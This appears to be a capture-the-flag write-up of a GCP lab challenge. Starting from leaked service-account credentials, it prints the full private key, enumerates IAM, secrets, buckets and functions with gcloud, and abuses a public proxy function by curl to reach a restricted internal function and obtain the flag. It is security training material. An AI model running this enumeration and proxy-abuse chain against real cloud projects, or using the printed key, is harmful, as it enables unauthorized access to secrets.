Published on

CWL - FunctionProxy (Secret Leak)

Authors
  • avatar
    Name
    mfkrypt
    Twitter
Description
Description
Table of Contents

Recon

We are provided the following credentials:

{
  "type": "service_account",
  "project_id": "woven-acolyte-428406-v9",
  "private_key_id": "9280ea40d99c19bb610ea3e6e38db7cdfa61b25b",
  "private_key": "-----BEGIN PRIVATE KEY-----\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC3GGiym5SNhB9s\nSSScIkXtum1CiC0e7OOr2n0SElqVvkouEFkxowLyi8najrSdCgvjRzungfOTwnNa\nspHS6n9t4J6Id8aCx881hH0juOojMkbqAzCjoayS54HSUbM0CNWlfimwOKJCDMEk\n/hYEBSydhfs53I5BkvxubKLZnh5vGn4NPmm/iik5CoRflYuC1P+0kEG5iIJxa/N6\ng/fsmacnvtl7kisvT6r/ArcVecsuGn2I3yItz9XrNrqBuqC/haIl+J+B7vZvJKJm\nNoSJf4Dq3ejwavDvxZr+S04deXqi4AWW/PvlD0b0EskOgN7p7JQenQ5J2ScGFee8\nCsENdyQbAgMBAAECggEAIfLRKtjFDQ5D40iWlKqYK7GG47CrKRJETo+G5CxqBlzP\nlUXru9PdToqTxUXzgDCmLqB9E5x5RNrnl5gHiMN5GC7vRh9rO8F/jo0/xLlbFGaU\nlnw77wMho+VwAUarwwimUHaZlTaTA0spHspL27f340c94ycda1QtIO5crZvvSasf\n3iwdJWKw00/Zm90vdhvuB4GVhntMLZItTPxpW6KsNdXWdFROqWsUf9xAchOtcYtt\nMJyQ6lEqzyDqMJMeG3eKrr7yH7GB81aUD7DT18r5dL9S6RS4Dh4ANo2yWPWmLHWx\nFC09Whh+7ZF/P1IRZU5+KF4idFzqaYytAZ+ZjM0SRQKBgQDnx+RWgr6vJumPX6kI\nToX5yV7pbii4D8Ku4zBTgJq/EHuPntLq8M8h9eEWH+QWw19/0+rHW3hv9X3pfyji\n33KSNU9nm1Z1DmBbici5Hc5JncMqZsyJzaama+LLqiluqX7AP/hEMEGvJfBdwREI\nGf7edmp83bOTEhOTO5XW0sbQxQKBgQDKOi/BMM+aAkWYRxqyIt4BHeDgoWVcCI9T\ngN1Mt6tFvuJfYQto3iftfyKHN/cmwVy1rT++ZiNBAGCXFecU7IBFtV093tRi5ZMg\n9zqZqDOYvltP+mO86ZiUrsRNWMyq/P7wKtgQkmSM9vbt8eyVvOAfNRmzqC5TXIMK\nOPZexqWvXwKBgD6J1ddt0auK0UwpIH+oSEf8iIptebkoL3xmunxdX+Obu+sljH1t\n2kWshT4l/rIRpyvjbx65VIbI819UOyDz74L5tWIcLLjK1z77r1gbbbS5R5aiRCAO\niB+xTnFriWBdhWC0IfWsG5z5nKB/XmwUL4uw4cytOS2+m9+HHUfoeVKNAoGAf8T5\nrSco05aB4C90p34uJCh7j5GJl/d0jv7JU5JsLTnojviim9RZB84ew65RgnQDHmpi\n7upbddNGM89L3EV82g435kJmkEGajuaFaNYEG4qR6Ns7rv0sQSyWrIPhdFs6vAVl\n1DqaOxJCe54xq33VYQJMxd0Jv/Oge5H333PE9SMCgYEAxMz2cN3x/RB21WnOcHOd\nTd2lwMXgaobcg833UWoS9v+iwXuP1alcpS/3+fX8dISftsDFyqIcfiHECo+riOBC\n/GkpOJ55SZTvFj6DYpojTO0j/atuCGsLqqlLxh6+iq/Brx7+U1ViAYWu1SMqQdV3\n6Gk7a5kdb5iQY2HiJzQYEZ0=\n-----END PRIVATE KEY-----",
  "client_email": "service-mgmt-sa@woven-acolyte-428406-v9.iam.gserviceaccount.com",
  "client_id": "110944213167294172547",
  "auth_uri": "https://accounts.google.com/o/oauth2/auth",
  "token_uri": "https://oauth2.googleapis.com/token",
  "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
  "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/hd-service-account%40woven-acolyte-428406-v9.iam.gserviceaccount.com",
  "universe_domain": "googleapis.com"
}

Based on the credentials file, we are authenticating as service-mgmt-sa. We can authenticate to the instance by first exporting the following variable to the env and supplying the credential file path:

export CLOUDSDK_AUTH_CREDENTIAL_FILE_OVERRIDE="/home/mfkrypt/tools/cloud/cyberwarfaretemp/GCPChallengeCredentials.json"

IAM Enumeration

Roles

Let's try to list all the roles of every service accounts from the project

gcloud projects get-iam-policy woven-acolyte-428406-v9

We should only look at our service account which is service-mgmt-sa

- members:
  - serviceAccount:service-mgmt-sa@woven-acolyte-428406-v9.iam.gserviceaccount.com
  role: projects/woven-acolyte-428406-v9/roles/service_mgmt_sa

Observe that our service account has the custom service_mgmt_sa role. Let's check the permissions and description of the role

❯ gcloud iam roles describe service_mgmt_sa --project woven-acolyte-428406-v9



description: 'Created on: 2025-07-03'
etag: BwY5AZDEGbY=
includedPermissions:
- cloudfunctions.functions.get
- cloudfunctions.functions.getIamPolicy
- cloudfunctions.functions.list
- cloudfunctions.locations.list
- iam.roles.get
- iam.serviceAccounts.getIamPolicy
- iam.serviceAccounts.list
- resourcemanager.projects.getIamPolicy
- secretmanager.secrets.getIamPolicy
- secretmanager.secrets.list
- storage.buckets.list
- storage.objects.list
name: projects/woven-acolyte-428406-v9/roles/service_mgmt_sa
stage: ALPHA
title: service-mgmt-sa-role

Asside from IAM permissions, we can see that we have some permissions for Storage, Secrets Manager and Cloud Functions services

Secrets Manager Enumeration

❯ gcloud secrets list --project woven-acolyte-428406-v9

NAME                                             CREATED              REPLICATION_POLICY  LOCATIONS
Secure-Corp-Org_GitHub-github-oauthtoken-e7aadb  2024-10-04T14:07:32  user_managed        europe-west1
secops-internal-service-key                      2025-07-03T06:07:22  automatic 

Let's check the IAM policy for the secrets

❯ gcloud secrets get-iam-policy secops-internal-service-key --project woven-acolyte-428406-v9 

bindings:
- members:
  - serviceAccount:secops-internal-service-mgmt-s@woven-acolyte-428406-v9.iam.gserviceaccount.com
  role: roles/secretmanager.secretAccessor
etag: BwY5AEVY_94=
version: 1
❯ gcloud secrets get-iam-policy Secure-Corp-Org_GitHub-github-oauthtoken-e7aadb --project woven-acolyte-428406-v9  

bindings:
- members:
  - serviceAccount:service-129668539536@gcp-sa-cloudbuild.iam.gserviceaccount.com
  role: roles/secretmanager.secretAccessor
etag: BwYjpzFVQ_g=
version: 1

We can observe that both of them require the secretAccessor role of which we currently don't have. This is a dead end.

Storage Enumeration

❯ gcloud storage ls --project woven-acolyte-428406-v9                                           

gs://gcf-sources-129668539536-us-central1/
gs://gcf-v2-sources-129668539536-us-central1/
gs://gcf-v2-uploads-129668539536-us-central1/
gs://production-v545965/
gs://run-sources-woven-acolyte-428406-v9-us-central1/
gs://secops-internal-service-trigger-fn-buck/
gs://secopsfuncbuk/
gs://secret-bucket-woven-acolyte-428406-v9/
gs://woven-acolyte-428406-v9_cloudbuild/

There are a lot of storage buckets here. After enumerating one by one, I found that the gs://secops-internal-service-trigger-fn-buck/ zip file was downloadable

❯ gcloud storage ls --project woven-acolyte-428406-v9 -r gs://secops-internal-service-trigger-fn-buck/ 

gs://secops-internal-service-trigger-fn-buck/:
gs://secops-internal-service-trigger-fn-buck/function-source.zip
❯ gcloud storage cp --project woven-acolyte-428406-v9 -r gs://secops-internal-service-trigger-fn-buck/function-source.zip .

Copying gs://secops-internal-service-trigger-fn-buck/function-source.zip to file://./function-source.zip
  Completed files 1/1 | 754.0B/754.0B

Unzip the file

unzip function-source.zip

Archive:  function-source.zip
  inflating: main.py                 
  inflating: requirements.txt 

Source Code Analysis

# main.py
import functions_framework
import requests
import google.auth.transport.requests
from google.oauth2 import id_token
from flask import Request, jsonify

@functions_framework.http
def forward_request(request: Request):

    data = request.get_json(silent=True) or {}
    target_url = data.get("url")
    if not target_url:
        return jsonify(error="Missing 'url' field"), 400

    # Fetch OIDC token for the internal function
    auth_req = google.auth.transport.requests.Request()
    oidc_token = id_token.fetch_id_token(auth_req, target_url)

    # Invoke the internal function
    resp = requests.post(
        target_url,
        headers={
            "Authorization": f"Bearer {oidc_token}",
            "Content-Type": "application/json"
        },
        json={}
    )

    return (resp.text, resp.status_code)

The code takes a url argument and fetches the OIDC token to pass it to the internal function and invoke it by making a POST request. OIDC tokens are simply a protocol and secure authentication method for third-party services like GCP. Let's enumerate the cloud functions to know where this leads

Cloud Functions Enumeration

❯ gcloud functions list --project woven-acolyte-428406-v9

NAME                                STATE   TRIGGER       REGION       ENVIRONMENT
recovery-function                   ACTIVE  HTTP Trigger  us-central1  2nd gen
secops-function                     ACTIVE  HTTP Trigger  us-central1  1st gen
secops-internal-service-fn          ACTIVE  HTTP Trigger  us-central1  1st gen
secops-internal-service-trigger-fn  ACTIVE  HTTP Trigger  us-central1  1st gen

All of these functions are HTTP Triggers which match the description from the Storage enumeration earlier. After some trial & error and enumerating IAM policies of the functions, only 2 of them stand out

  • secops-internal-service-trigger-fn:
gcloud functions get-iam-policy secops-internal-service-trigger-fn --project woven-acolyte-428406-v9

We can see all users can invoke this function

  • secops-internal-service-fn:
gcloud functions get-iam-policy secops-internal-service-fn --project woven-acolyte-428406-v9 

And for this function only secops-internal-service-mgmt-s service account can invoke it.

Invoking Internal Function

From the source code we retrieved earlier, it is possible to invoke the limited access function, secops-internal-service-fn by just providing the url of that function when invoking secops-internal-service-trigger-fn

gcloud functions describe secops-internal-service-fn --project woven-acolyte-428406-v9

Now we craft the request and call the internal function:

curl -X POST "https://us-central1-woven-acolyte-428406-v9.cloudfunctions.net/secops-internal-service-trigger-fn" -H "Content-Type: application/json" -d '{"url":"https://us-central1-woven-acolyte-428406-v9.cloudfunctions.net/secops-internal-service-fn"}'
{"secret":"CWL{$ecret_Key_Retrieveb}"}